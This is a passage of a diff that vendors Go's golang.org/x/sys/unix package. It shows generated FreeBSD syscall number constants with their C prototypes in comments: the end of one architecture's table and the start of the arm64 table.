-+ SYS_MSGSND = 226 // { int msgsnd(int msqid, const void *msgp, size_t msgsz, int msgflg); }
-+ SYS_MSGRCV = 227 // { int msgrcv(int msqid, void *msgp, size_t msgsz, long msgtyp, int msgflg); }
-+ SYS_SHMAT = 228 // { int shmat(int shmid, const void *shmaddr, int shmflg); }
-+ SYS_SHMDT = 230 // { int shmdt(const void *shmaddr); }
-+ SYS_SHMGET = 231 // { int shmget(key_t key, size_t size, int shmflg); }
-+ SYS_CLOCK_GETTIME = 232 // { int clock_gettime(clockid_t clock_id, struct timespec *tp); }
-+ SYS_CLOCK_SETTIME = 233 // { int clock_settime( clockid_t clock_id, const struct timespec *tp); }
-+ SYS_CLOCK_GETRES = 234 // { int clock_getres(clockid_t clock_id, struct timespec *tp); }
-+ SYS_KTIMER_CREATE = 235 // { int ktimer_create(clockid_t clock_id, struct sigevent *evp, int *timerid); }
-+ SYS_KTIMER_DELETE = 236 // { int ktimer_delete(int timerid); }
-+ SYS_KTIMER_SETTIME = 237 // { int ktimer_settime(int timerid, int flags, const struct itimerspec *value, struct itimerspec *ovalue); }
-+ SYS_KTIMER_GETTIME = 238 // { int ktimer_gettime(int timerid, struct itimerspec *value); }
-+ SYS_KTIMER_GETOVERRUN = 239 // { int ktimer_getoverrun(int timerid); }
-+ SYS_NANOSLEEP = 240 // { int nanosleep(const struct timespec *rqtp, struct timespec *rmtp); }
-+ SYS_FFCLOCK_GETCOUNTER = 241 // { int ffclock_getcounter(ffcounter *ffcount); }
-+ SYS_FFCLOCK_SETESTIMATE = 242 // { int ffclock_setestimate( struct ffclock_estimate *cest); }
-+ SYS_FFCLOCK_GETESTIMATE = 243 // { int ffclock_getestimate( struct ffclock_estimate *cest); }
-+ SYS_CLOCK_NANOSLEEP = 244 // { int clock_nanosleep(clockid_t clock_id, int flags, const struct timespec *rqtp, struct timespec *rmtp); }
-+ SYS_CLOCK_GETCPUCLOCKID2 = 247 // { int clock_getcpuclockid2(id_t id,int which, clockid_t *clock_id); }
-+ SYS_NTP_GETTIME = 248 // { int ntp_gettime(struct ntptimeval *ntvp); }
-+ SYS_MINHERIT = 250 // { int minherit(void *addr, size_t len, int inherit); }
-+ SYS_RFORK = 251 // { int rfork(int flags); }
-+ SYS_OPENBSD_POLL = 252 // { int openbsd_poll(struct pollfd *fds, u_int nfds, int timeout); }
-+ SYS_ISSETUGID = 253 // { int issetugid(void); }
-+ SYS_LCHOWN = 254 // { int lchown(char *path, int uid, int gid); }
-+ SYS_AIO_READ = 255 // { int aio_read(struct aiocb *aiocbp); }
-+ SYS_AIO_WRITE = 256 // { int aio_write(struct aiocb *aiocbp); }
-+ SYS_LIO_LISTIO = 257 // { int lio_listio(int mode, struct aiocb * const *acb_list, int nent, struct sigevent *sig); }
-+ SYS_GETDENTS = 272 // { int getdents(int fd, char *buf, size_t count); }
-+ SYS_LCHMOD = 274 // { int lchmod(char *path, mode_t mode); }
-+ SYS_LUTIMES = 276 // { int lutimes(char *path, struct timeval *tptr); }
-+ SYS_NSTAT = 278 // { int nstat(char *path, struct nstat *ub); }
-+ SYS_NFSTAT = 279 // { int nfstat(int fd, struct nstat *sb); }
-+ SYS_NLSTAT = 280 // { int nlstat(char *path, struct nstat *ub); }
-+ SYS_PREADV = 289 // { ssize_t preadv(int fd, struct iovec *iovp, u_int iovcnt, off_t offset); }
-+ SYS_PWRITEV = 290 // { ssize_t pwritev(int fd, struct iovec *iovp, u_int iovcnt, off_t offset); }
-+ SYS_FHOPEN = 298 // { int fhopen(const struct fhandle *u_fhp, int flags); }
-+ SYS_FHSTAT = 299 // { int fhstat(const struct fhandle *u_fhp, struct stat *sb); }
-+ SYS_MODNEXT = 300 // { int modnext(int modid); }
-+ SYS_MODSTAT = 301 // { int modstat(int modid, struct module_stat *stat); }
-+ SYS_MODFNEXT = 302 // { int modfnext(int modid); }
-+ SYS_MODFIND = 303 // { int modfind(const char *name); }
-+ SYS_KLDLOAD = 304 // { int kldload(const char *file); }
-+ SYS_KLDUNLOAD = 305 // { int kldunload(int fileid); }
-+ SYS_KLDFIND = 306 // { int kldfind(const char *file); }
-+ SYS_KLDNEXT = 307 // { int kldnext(int fileid); }
-+ SYS_KLDSTAT = 308 // { int kldstat(int fileid, struct kld_file_stat* stat); }
-+ SYS_KLDFIRSTMOD = 309 // { int kldfirstmod(int fileid); }
-+ SYS_GETSID = 310 // { int getsid(pid_t pid); }
-+ SYS_SETRESUID = 311 // { int setresuid(uid_t ruid, uid_t euid, uid_t suid); }
-+ SYS_SETRESGID = 312 // { int setresgid(gid_t rgid, gid_t egid, gid_t sgid); }
-+ SYS_AIO_RETURN = 314 // { ssize_t aio_return(struct aiocb *aiocbp); }
-+ SYS_AIO_SUSPEND = 315 // { int aio_suspend( struct aiocb * const * aiocbp, int nent, const struct timespec *timeout); }
-+ SYS_AIO_CANCEL = 316 // { int aio_cancel(int fd, struct aiocb *aiocbp); }
-+ SYS_AIO_ERROR = 317 // { int aio_error(struct aiocb *aiocbp); }
-+ SYS_YIELD = 321 // { int yield(void); }
-+ SYS_MLOCKALL = 324 // { int mlockall(int how); }
-+ SYS_MUNLOCKALL = 325 // { int munlockall(void); }
-+ SYS___GETCWD = 326 // { int __getcwd(char *buf, u_int buflen); }
-+ SYS_SCHED_SETPARAM = 327 // { int sched_setparam (pid_t pid, const struct sched_param *param); }
-+ SYS_SCHED_GETPARAM = 328 // { int sched_getparam (pid_t pid, struct sched_param *param); }
-+ SYS_SCHED_SETSCHEDULER = 329 // { int sched_setscheduler (pid_t pid, int policy, const struct sched_param *param); }
-+ SYS_SCHED_GETSCHEDULER = 330 // { int sched_getscheduler (pid_t pid); }
-+ SYS_SCHED_YIELD = 331 // { int sched_yield (void); }
-+ SYS_SCHED_GET_PRIORITY_MAX = 332 // { int sched_get_priority_max (int policy); }
-+ SYS_SCHED_GET_PRIORITY_MIN = 333 // { int sched_get_priority_min (int policy); }
-+ SYS_SCHED_RR_GET_INTERVAL = 334 // { int sched_rr_get_interval (pid_t pid, struct timespec *interval); }
-+ SYS_UTRACE = 335 // { int utrace(const void *addr, size_t len); }
-+ SYS_KLDSYM = 337 // { int kldsym(int fileid, int cmd, void *data); }
-+ SYS_JAIL = 338 // { int jail(struct jail *jail); }
-+ SYS_SIGPROCMASK = 340 // { int sigprocmask(int how, const sigset_t *set, sigset_t *oset); }
-+ SYS_SIGSUSPEND = 341 // { int sigsuspend(const sigset_t *sigmask); }
-+ SYS_SIGPENDING = 343 // { int sigpending(sigset_t *set); }
-+ SYS_SIGTIMEDWAIT = 345 // { int sigtimedwait(const sigset_t *set, siginfo_t *info, const struct timespec *timeout); }
-+ SYS_SIGWAITINFO = 346 // { int sigwaitinfo(const sigset_t *set, siginfo_t *info); }
-+ SYS___ACL_GET_FILE = 347 // { int __acl_get_file(const char *path, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_SET_FILE = 348 // { int __acl_set_file(const char *path, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_GET_FD = 349 // { int __acl_get_fd(int filedes, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_SET_FD = 350 // { int __acl_set_fd(int filedes, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_DELETE_FILE = 351 // { int __acl_delete_file(const char *path, acl_type_t type); }
-+ SYS___ACL_DELETE_FD = 352 // { int __acl_delete_fd(int filedes, acl_type_t type); }
-+ SYS___ACL_ACLCHECK_FILE = 353 // { int __acl_aclcheck_file(const char *path, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_ACLCHECK_FD = 354 // { int __acl_aclcheck_fd(int filedes, acl_type_t type, struct acl *aclp); }
-+ SYS_EXTATTRCTL = 355 // { int extattrctl(const char *path, int cmd, const char *filename, int attrnamespace, const char *attrname); }
-+ SYS_EXTATTR_SET_FILE = 356 // { ssize_t extattr_set_file( const char *path, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
-+ SYS_EXTATTR_GET_FILE = 357 // { ssize_t extattr_get_file( const char *path, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
-+ SYS_EXTATTR_DELETE_FILE = 358 // { int extattr_delete_file(const char *path, int attrnamespace, const char *attrname); }
-+ SYS_AIO_WAITCOMPLETE = 359 // { ssize_t aio_waitcomplete( struct aiocb **aiocbp, struct timespec *timeout); }
-+ SYS_GETRESUID = 360 // { int getresuid(uid_t *ruid, uid_t *euid, uid_t *suid); }
-+ SYS_GETRESGID = 361 // { int getresgid(gid_t *rgid, gid_t *egid, gid_t *sgid); }
-+ SYS_KQUEUE = 362 // { int kqueue(void); }
-+ SYS_KEVENT = 363 // { int kevent(int fd, struct kevent *changelist, int nchanges, struct kevent *eventlist, int nevents, const struct timespec *timeout); }
-+ SYS_EXTATTR_SET_FD = 371 // { ssize_t extattr_set_fd(int fd, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
-+ SYS_EXTATTR_GET_FD = 372 // { ssize_t extattr_get_fd(int fd, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
-+ SYS_EXTATTR_DELETE_FD = 373 // { int extattr_delete_fd(int fd, int attrnamespace, const char *attrname); }
-+ SYS___SETUGID = 374 // { int __setugid(int flag); }
-+ SYS_EACCESS = 376 // { int eaccess(char *path, int amode); }
-+ SYS_NMOUNT = 378 // { int nmount(struct iovec *iovp, unsigned int iovcnt, int flags); }
-+ SYS___MAC_GET_PROC = 384 // { int __mac_get_proc(struct mac *mac_p); }
-+ SYS___MAC_SET_PROC = 385 // { int __mac_set_proc(struct mac *mac_p); }
-+ SYS___MAC_GET_FD = 386 // { int __mac_get_fd(int fd, struct mac *mac_p); }
-+ SYS___MAC_GET_FILE = 387 // { int __mac_get_file(const char *path_p, struct mac *mac_p); }
-+ SYS___MAC_SET_FD = 388 // { int __mac_set_fd(int fd, struct mac *mac_p); }
-+ SYS___MAC_SET_FILE = 389 // { int __mac_set_file(const char *path_p, struct mac *mac_p); }
-+ SYS_KENV = 390 // { int kenv(int what, const char *name, char *value, int len); }
-+ SYS_LCHFLAGS = 391 // { int lchflags(const char *path, u_long flags); }
-+ SYS_UUIDGEN = 392 // { int uuidgen(struct uuid *store, int count); }
-+ SYS_SENDFILE = 393 // { int sendfile(int fd, int s, off_t offset, size_t nbytes, struct sf_hdtr *hdtr, off_t *sbytes, int flags); }
-+ SYS_MAC_SYSCALL = 394 // { int mac_syscall(const char *policy, int call, void *arg); }
-+ SYS_GETFSSTAT = 395 // { int getfsstat(struct statfs *buf, long bufsize, int mode); }
-+ SYS_STATFS = 396 // { int statfs(char *path, struct statfs *buf); }
-+ SYS_FSTATFS = 397 // { int fstatfs(int fd, struct statfs *buf); }
-+ SYS_FHSTATFS = 398 // { int fhstatfs(const struct fhandle *u_fhp, struct statfs *buf); }
-+ SYS_KSEM_CLOSE = 400 // { int ksem_close(semid_t id); }
-+ SYS_KSEM_POST = 401 // { int ksem_post(semid_t id); }
-+ SYS_KSEM_WAIT = 402 // { int ksem_wait(semid_t id); }
-+ SYS_KSEM_TRYWAIT = 403 // { int ksem_trywait(semid_t id); }
-+ SYS_KSEM_INIT = 404 // { int ksem_init(semid_t *idp, unsigned int value); }
-+ SYS_KSEM_OPEN = 405 // { int ksem_open(semid_t *idp, const char *name, int oflag, mode_t mode, unsigned int value); }
-+ SYS_KSEM_UNLINK = 406 // { int ksem_unlink(const char *name); }
-+ SYS_KSEM_GETVALUE = 407 // { int ksem_getvalue(semid_t id, int *val); }
-+ SYS_KSEM_DESTROY = 408 // { int ksem_destroy(semid_t id); }
-+ SYS___MAC_GET_PID = 409 // { int __mac_get_pid(pid_t pid, struct mac *mac_p); }
-+ SYS___MAC_GET_LINK = 410 // { int __mac_get_link(const char *path_p, struct mac *mac_p); }
-+ SYS___MAC_SET_LINK = 411 // { int __mac_set_link(const char *path_p, struct mac *mac_p); }
-+ SYS_EXTATTR_SET_LINK = 412 // { ssize_t extattr_set_link( const char *path, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
-+ SYS_EXTATTR_GET_LINK = 413 // { ssize_t extattr_get_link( const char *path, int attrnamespace, const char *attrname, void *data, size_t nbytes); }
-+ SYS_EXTATTR_DELETE_LINK = 414 // { int extattr_delete_link( const char *path, int attrnamespace, const char *attrname); }
-+ SYS___MAC_EXECVE = 415 // { int __mac_execve(char *fname, char **argv, char **envv, struct mac *mac_p); }
-+ SYS_SIGACTION = 416 // { int sigaction(int sig, const struct sigaction *act, struct sigaction *oact); }
-+ SYS_SIGRETURN = 417 // { int sigreturn( const struct __ucontext *sigcntxp); }
-+ SYS_GETCONTEXT = 421 // { int getcontext(struct __ucontext *ucp); }
-+ SYS_SETCONTEXT = 422 // { int setcontext( const struct __ucontext *ucp); }
-+ SYS_SWAPCONTEXT = 423 // { int swapcontext(struct __ucontext *oucp, const struct __ucontext *ucp); }
-+ SYS_SWAPOFF = 424 // { int swapoff(const char *name); }
-+ SYS___ACL_GET_LINK = 425 // { int __acl_get_link(const char *path, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_SET_LINK = 426 // { int __acl_set_link(const char *path, acl_type_t type, struct acl *aclp); }
-+ SYS___ACL_DELETE_LINK = 427 // { int __acl_delete_link(const char *path, acl_type_t type); }
-+ SYS___ACL_ACLCHECK_LINK = 428 // { int __acl_aclcheck_link(const char *path, acl_type_t type, struct acl *aclp); }
-+ SYS_SIGWAIT = 429 // { int sigwait(const sigset_t *set, int *sig); }
-+ SYS_THR_CREATE = 430 // { int thr_create(ucontext_t *ctx, long *id, int flags); }
-+ SYS_THR_EXIT = 431 // { void thr_exit(long *state); }
-+ SYS_THR_SELF = 432 // { int thr_self(long *id); }
-+ SYS_THR_KILL = 433 // { int thr_kill(long id, int sig); }
-+ SYS_JAIL_ATTACH = 436 // { int jail_attach(int jid); }
-+ SYS_EXTATTR_LIST_FD = 437 // { ssize_t extattr_list_fd(int fd, int attrnamespace, void *data, size_t nbytes); }
-+ SYS_EXTATTR_LIST_FILE = 438 // { ssize_t extattr_list_file( const char *path, int attrnamespace, void *data, size_t nbytes); }
-+ SYS_EXTATTR_LIST_LINK = 439 // { ssize_t extattr_list_link( const char *path, int attrnamespace, void *data, size_t nbytes); }
-+ SYS_KSEM_TIMEDWAIT = 441 // { int ksem_timedwait(semid_t id, const struct timespec *abstime); }
-+ SYS_THR_SUSPEND = 442 // { int thr_suspend( const struct timespec *timeout); }
-+ SYS_THR_WAKE = 443 // { int thr_wake(long id); }
-+ SYS_KLDUNLOADF = 444 // { int kldunloadf(int fileid, int flags); }
-+ SYS_AUDIT = 445 // { int audit(const void *record, u_int length); }
-+ SYS_AUDITON = 446 // { int auditon(int cmd, void *data, u_int length); }
-+ SYS_GETAUID = 447 // { int getauid(uid_t *auid); }
-+ SYS_SETAUID = 448 // { int setauid(uid_t *auid); }
-+ SYS_GETAUDIT = 449 // { int getaudit(struct auditinfo *auditinfo); }
-+ SYS_SETAUDIT = 450 // { int setaudit(struct auditinfo *auditinfo); }
-+ SYS_GETAUDIT_ADDR = 451 // { int getaudit_addr( struct auditinfo_addr *auditinfo_addr, u_int length); }
-+ SYS_SETAUDIT_ADDR = 452 // { int setaudit_addr( struct auditinfo_addr *auditinfo_addr, u_int length); }
-+ SYS_AUDITCTL = 453 // { int auditctl(char *path); }
-+ SYS__UMTX_OP = 454 // { int _umtx_op(void *obj, int op, u_long val, void *uaddr1, void *uaddr2); }
-+ SYS_THR_NEW = 455 // { int thr_new(struct thr_param *param, int param_size); }
-+ SYS_SIGQUEUE = 456 // { int sigqueue(pid_t pid, int signum, void *value); }
-+ SYS_KMQ_OPEN = 457 // { int kmq_open(const char *path, int flags, mode_t mode, const struct mq_attr *attr); }
-+ SYS_KMQ_SETATTR = 458 // { int kmq_setattr(int mqd, const struct mq_attr *attr, struct mq_attr *oattr); }
-+ SYS_KMQ_TIMEDRECEIVE = 459 // { int kmq_timedreceive(int mqd, char *msg_ptr, size_t msg_len, unsigned *msg_prio, const struct timespec *abs_timeout); }
-+ SYS_KMQ_TIMEDSEND = 460 // { int kmq_timedsend(int mqd, const char *msg_ptr, size_t msg_len,unsigned msg_prio, const struct timespec *abs_timeout);}
-+ SYS_KMQ_NOTIFY = 461 // { int kmq_notify(int mqd, const struct sigevent *sigev); }
-+ SYS_KMQ_UNLINK = 462 // { int kmq_unlink(const char *path); }
-+ SYS_ABORT2 = 463 // { int abort2(const char *why, int nargs, void **args); }
-+ SYS_THR_SET_NAME = 464 // { int thr_set_name(long id, const char *name); }
-+ SYS_AIO_FSYNC = 465 // { int aio_fsync(int op, struct aiocb *aiocbp); }
-+ SYS_RTPRIO_THREAD = 466 // { int rtprio_thread(int function, lwpid_t lwpid, struct rtprio *rtp); }
-+ SYS_SCTP_PEELOFF = 471 // { int sctp_peeloff(int sd, uint32_t name); }
-+ SYS_SCTP_GENERIC_SENDMSG = 472 // { int sctp_generic_sendmsg(int sd, caddr_t msg, int mlen, caddr_t to, __socklen_t tolen, struct sctp_sndrcvinfo *sinfo, int flags); }
-+ SYS_SCTP_GENERIC_SENDMSG_IOV = 473 // { int sctp_generic_sendmsg_iov(int sd, struct iovec *iov, int iovlen, caddr_t to, __socklen_t tolen, struct sctp_sndrcvinfo *sinfo, int flags); }
-+ SYS_SCTP_GENERIC_RECVMSG = 474 // { int sctp_generic_recvmsg(int sd, struct iovec *iov, int iovlen, struct sockaddr * from, __socklen_t *fromlenaddr, struct sctp_sndrcvinfo *sinfo, int *msg_flags); }
-+ SYS_PREAD = 475 // { ssize_t pread(int fd, void *buf, size_t nbyte, off_t offset); }
-+ SYS_PWRITE = 476 // { ssize_t pwrite(int fd, const void *buf, size_t nbyte, off_t offset); }
-+ SYS_MMAP = 477 // { caddr_t mmap(caddr_t addr, size_t len, int prot, int flags, int fd, off_t pos); }
-+ SYS_LSEEK = 478 // { off_t lseek(int fd, off_t offset, int whence); }
-+ SYS_TRUNCATE = 479 // { int truncate(char *path, off_t length); }
-+ SYS_FTRUNCATE = 480 // { int ftruncate(int fd, off_t length); }
-+ SYS_THR_KILL2 = 481 // { int thr_kill2(pid_t pid, long id, int sig); }
-+ SYS_SHM_OPEN = 482 // { int shm_open(const char *path, int flags, mode_t mode); }
-+ SYS_SHM_UNLINK = 483 // { int shm_unlink(const char *path); }
-+ SYS_CPUSET = 484 // { int cpuset(cpusetid_t *setid); }
-+ SYS_CPUSET_SETID = 485 // { int cpuset_setid(cpuwhich_t which, id_t id, cpusetid_t setid); }
-+ SYS_CPUSET_GETID = 486 // { int cpuset_getid(cpulevel_t level, cpuwhich_t which, id_t id, cpusetid_t *setid); }
-+ SYS_CPUSET_GETAFFINITY = 487 // { int cpuset_getaffinity(cpulevel_t level, cpuwhich_t which, id_t id, size_t cpusetsize, cpuset_t *mask); }
-+ SYS_CPUSET_SETAFFINITY = 488 // { int cpuset_setaffinity(cpulevel_t level, cpuwhich_t which, id_t id, size_t cpusetsize, const cpuset_t *mask); }
-+ SYS_FACCESSAT = 489 // { int faccessat(int fd, char *path, int amode, int flag); }
-+ SYS_FCHMODAT = 490 // { int fchmodat(int fd, char *path, mode_t mode, int flag); }
-+ SYS_FCHOWNAT = 491 // { int fchownat(int fd, char *path, uid_t uid, gid_t gid, int flag); }
-+ SYS_FEXECVE = 492 // { int fexecve(int fd, char **argv, char **envv); }
-+ SYS_FSTATAT = 493 // { int fstatat(int fd, char *path, struct stat *buf, int flag); }
-+ SYS_FUTIMESAT = 494 // { int futimesat(int fd, char *path, struct timeval *times); }
-+ SYS_LINKAT = 495 // { int linkat(int fd1, char *path1, int fd2, char *path2, int flag); }
-+ SYS_MKDIRAT = 496 // { int mkdirat(int fd, char *path, mode_t mode); }
-+ SYS_MKFIFOAT = 497 // { int mkfifoat(int fd, char *path, mode_t mode); }
-+ SYS_MKNODAT = 498 // { int mknodat(int fd, char *path, mode_t mode, dev_t dev); }
-+ SYS_OPENAT = 499 // { int openat(int fd, char *path, int flag, mode_t mode); }
-+ SYS_READLINKAT = 500 // { int readlinkat(int fd, char *path, char *buf, size_t bufsize); }
-+ SYS_RENAMEAT = 501 // { int renameat(int oldfd, char *old, int newfd, char *new); }
-+ SYS_SYMLINKAT = 502 // { int symlinkat(char *path1, int fd, char *path2); }
-+ SYS_UNLINKAT = 503 // { int unlinkat(int fd, char *path, int flag); }
-+ SYS_POSIX_OPENPT = 504 // { int posix_openpt(int flags); }
-+ SYS_GSSD_SYSCALL = 505 // { int gssd_syscall(char *path); }
-+ SYS_JAIL_GET = 506 // { int jail_get(struct iovec *iovp, unsigned int iovcnt, int flags); }
-+ SYS_JAIL_SET = 507 // { int jail_set(struct iovec *iovp, unsigned int iovcnt, int flags); }
-+ SYS_JAIL_REMOVE = 508 // { int jail_remove(int jid); }
-+ SYS_CLOSEFROM = 509 // { int closefrom(int lowfd); }
-+ SYS___SEMCTL = 510 // { int __semctl(int semid, int semnum, int cmd, union semun *arg); }
-+ SYS_MSGCTL = 511 // { int msgctl(int msqid, int cmd, struct msqid_ds *buf); }
-+ SYS_SHMCTL = 512 // { int shmctl(int shmid, int cmd, struct shmid_ds *buf); }
-+ SYS_LPATHCONF = 513 // { int lpathconf(char *path, int name); }
-+ SYS___CAP_RIGHTS_GET = 515 // { int __cap_rights_get(int version, int fd, cap_rights_t *rightsp); }
-+ SYS_CAP_ENTER = 516 // { int cap_enter(void); }
-+ SYS_CAP_GETMODE = 517 // { int cap_getmode(u_int *modep); }
-+ SYS_PDFORK = 518 // { int pdfork(int *fdp, int flags); }
-+ SYS_PDKILL = 519 // { int pdkill(int fd, int signum); }
-+ SYS_PDGETPID = 520 // { int pdgetpid(int fd, pid_t *pidp); }
-+ SYS_PSELECT = 522 // { int pselect(int nd, fd_set *in, fd_set *ou, fd_set *ex, const struct timespec *ts, const sigset_t *sm); }
-+ SYS_GETLOGINCLASS = 523 // { int getloginclass(char *namebuf, size_t namelen); }
-+ SYS_SETLOGINCLASS = 524 // { int setloginclass(const char *namebuf); }
-+ SYS_RCTL_GET_RACCT = 525 // { int rctl_get_racct(const void *inbufp, size_t inbuflen, void *outbufp, size_t outbuflen); }
-+ SYS_RCTL_GET_RULES = 526 // { int rctl_get_rules(const void *inbufp, size_t inbuflen, void *outbufp, size_t outbuflen); }
-+ SYS_RCTL_GET_LIMITS = 527 // { int rctl_get_limits(const void *inbufp, size_t inbuflen, void *outbufp, size_t outbuflen); }
-+ SYS_RCTL_ADD_RULE = 528 // { int rctl_add_rule(const void *inbufp, size_t inbuflen, void *outbufp, size_t outbuflen); }
-+ SYS_RCTL_REMOVE_RULE = 529 // { int rctl_remove_rule(const void *inbufp, size_t inbuflen, void *outbufp, size_t outbuflen); }
-+ SYS_POSIX_FALLOCATE = 530 // { int posix_fallocate(int fd, off_t offset, off_t len); }
-+ SYS_POSIX_FADVISE = 531 // { int posix_fadvise(int fd, off_t offset, off_t len, int advice); }
-+ SYS_WAIT6 = 532 // { int wait6(idtype_t idtype, id_t id, int *status, int options, struct __wrusage *wrusage, siginfo_t *info); }
-+ SYS_CAP_RIGHTS_LIMIT = 533 // { int cap_rights_limit(int fd, cap_rights_t *rightsp); }
-+ SYS_CAP_IOCTLS_LIMIT = 534 // { int cap_ioctls_limit(int fd, const u_long *cmds, size_t ncmds); }
-+ SYS_CAP_IOCTLS_GET = 535 // { ssize_t cap_ioctls_get(int fd, u_long *cmds, size_t maxcmds); }
-+ SYS_CAP_FCNTLS_LIMIT = 536 // { int cap_fcntls_limit(int fd, uint32_t fcntlrights); }
-+ SYS_CAP_FCNTLS_GET = 537 // { int cap_fcntls_get(int fd, uint32_t *fcntlrightsp); }
-+ SYS_BINDAT = 538 // { int bindat(int fd, int s, caddr_t name, int namelen); }
-+ SYS_CONNECTAT = 539 // { int connectat(int fd, int s, caddr_t name, int namelen); }
-+ SYS_CHFLAGSAT = 540 // { int chflagsat(int fd, const char *path, u_long flags, int atflag); }
-+ SYS_ACCEPT4 = 541 // { int accept4(int s, struct sockaddr * __restrict name, __socklen_t * __restrict anamelen, int flags); }
-+ SYS_PIPE2 = 542 // { int pipe2(int *fildes, int flags); }
-+ SYS_AIO_MLOCK = 543 // { int aio_mlock(struct aiocb *aiocbp); }
-+ SYS_PROCCTL = 544 // { int procctl(idtype_t idtype, id_t id, int com, void *data); }
-+ SYS_PPOLL = 545 // { int ppoll(struct pollfd *fds, u_int nfds, const struct timespec *ts, const sigset_t *set); }
-+ SYS_FUTIMENS = 546 // { int futimens(int fd, struct timespec *times); }
-+ SYS_UTIMENSAT = 547 // { int utimensat(int fd, char *path, struct timespec *times, int flag); }
-+ SYS_NUMA_GETAFFINITY = 548 // { int numa_getaffinity(cpuwhich_t which, id_t id, struct vm_domain_policy_entry *policy); }
-+ SYS_NUMA_SETAFFINITY = 549 // { int numa_setaffinity(cpuwhich_t which, id_t id, const struct vm_domain_policy_entry *policy); }
-+ SYS_FDATASYNC = 550 // { int fdatasync(int fd); }
- )
-diff --git a/vendor/golang.org/x/sys/unix/zsysnum_freebsd_arm64.go b/vendor/golang.org/x/sys/unix/zsysnum_freebsd_arm64.go
-new file mode 100644
-index 00000000..3e51af8e
---- /dev/null
-+++ b/vendor/golang.org/x/sys/unix/zsysnum_freebsd_arm64.go
-@@ -0,0 +1,396 @@
-+// go run mksysnum.go https://svn.freebsd.org/base/stable/11/sys/kern/syscalls.master
-+// Code generated by the command above; see README.md. DO NOT EDIT.
-+
-+// +build arm64,freebsd
-+
-+package unix
-+
-+const (
-+ // SYS_NOSYS = 0; // { int nosys(void); } syscall nosys_args int
-+ SYS_EXIT = 1 // { void sys_exit(int rval); } exit sys_exit_args void
-+ SYS_FORK = 2 // { int fork(void); }
-+ SYS_READ = 3 // { ssize_t read(int fd, void *buf, size_t nbyte); }
-+ SYS_WRITE = 4 // { ssize_t write(int fd, const void *buf, size_t nbyte); }
-+ SYS_OPEN = 5 // { int open(char *path, int flags, int mode); }
-+ SYS_CLOSE = 6 // { int close(int fd); }
-+ SYS_WAIT4 = 7 // { int wait4(int pid, int *status, int options, struct rusage *rusage); }
-+ SYS_LINK = 9 // { int link(char *path, char *link); }
-+ SYS_UNLINK = 10 // { int unlink(char *path); }
-+ SYS_CHDIR = 12 // { int chdir(char *path); }
-+ SYS_FCHDIR = 13 // { int fchdir(int fd); }
-+ SYS_MKNOD = 14 // { int mknod(char *path, int mode, int dev); }
-+ SYS_CHMOD = 15 // { int chmod(char *path, int mode); }
-+ SYS_CHOWN = 16 // { int chown(char *path, int uid, int gid); }
-+ SYS_OBREAK = 17 // { int obreak(char *nsize); } break obreak_args int
-+ SYS_GETPID = 20 // { pid_t getpid(void); }
-+ SYS_MOUNT = 21 // { int mount(char *type, char *path, int flags, caddr_t data); }
-+ SYS_UNMOUNT = 22 // { int unmount(char *path, int flags); }
-+ SYS_SETUID = 23 // { int setuid(uid_t uid); }
-+ SYS_GETUID = 24 // { uid_t getuid(void); }
-+ SYS_GETEUID = 25 // { uid_t geteuid(void); }
-+ SYS_PTRACE = 26 // { int ptrace(int req, pid_t pid, caddr_t addr, int data); }
-+ SYS_RECVMSG = 27 // { int recvmsg(int s, struct msghdr *msg, int flags); }
-+ SYS_SENDMSG = 28 // { int sendmsg(int s, struct msghdr *msg, int flags); }
-+ SYS_RECVFROM = 29 // { int recvfrom(int s, caddr_t buf, size_t len, int flags, struct sockaddr * __restrict from, __socklen_t * __restrict fromlenaddr); }
-+ SYS_ACCEPT = 30 // { int accept(int s, struct sockaddr * __restrict name, __socklen_t * __restrict anamelen); }
-+ SYS_GETPEERNAME = 31 // { int getpeername(int fdes, struct sockaddr * __restrict asa, __socklen_t * __restrict alen); }
-+ SYS_GETSOCKNAME = 32 // { int getsockname(int fdes, struct sockaddr * __restrict asa, __socklen_t * __restrict alen); }
-+ SYS_ACCESS = 33 // { int access(char *path, int amode); }
-+ SYS_CHFLAGS = 34 // { int chflags(const char *path, u_long flags); }
-+ SYS_FCHFLAGS = 35 // { int fchflags(int fd, u_long flags); }
-+ SYS_SYNC = 36 // { int sync(void); }
-+ SYS_KILL = 37 // { int kill(int pid, int signum); }
-+ SYS_GETPPID = 39 // { pid_t getppid(void); }
-+ SYS_DUP = 41 // { int dup(u_int fd); }
-+ SYS_PIPE = 42 // { int pipe(void); }
-+ SYS_GETEGID = 43 // { gid_t getegid(void); }
-+ SYS_PROFIL = 44 // { int profil(caddr_t samples, size_t size, size_t offset, u_int scale); }
-+ SYS_KTRACE = 45 // { int ktrace(const char *fname, int ops, int facs, int pid); }
-+ SYS_GETGID = 47 // { gid_t getgid(void); }
-+ SYS_GETLOGIN = 49 // { int getlogin(char *namebuf, u_int namelen); }
-+ SYS_SETLOGIN = 50 // { int setlogin(char *namebuf); }
-+ SYS_ACCT = 51 // { int acct(char *path); }
-+ SYS_SIGALTSTACK = 53 // { int sigaltstack(stack_t *ss, stack_t *oss); }
-+ SYS_IOCTL = 54 // { int ioctl(int fd, u_long com, caddr_t data); }
-+ SYS_REBOOT = 55 // { int reboot(int opt); }
-+ SYS_REVOKE = 56 // { int revoke(char *path); }
-+ SYS_SYMLINK = 57 // { int symlink(char *path, char *link); }
-+ SYS_READLINK = 58 // { ssize_t readlink(char *path, char *buf, size_t count); }
-+ SYS_EXECVE = 59 // { int execve(char *fname, char **argv, char **envv); }
-+ SYS_UMASK = 60 // { int umask(int newmask); } umask umask_args int
-+ SYS_CHROOT = 61 // { int chroot(char *path); }
-+ SYS_MSYNC = 65 // { int msync(void *addr, size_t len, int flags); }
-+ SYS_VFORK = 66 // { int vfork(void); }
-+ SYS_SBRK = 69 // { int sbrk(int incr); }
-+ SYS_SSTK = 70 // { int sstk(int incr); }
-+ SYS_OVADVISE = 72 // { int ovadvise(int anom); } vadvise ovadvise_args int
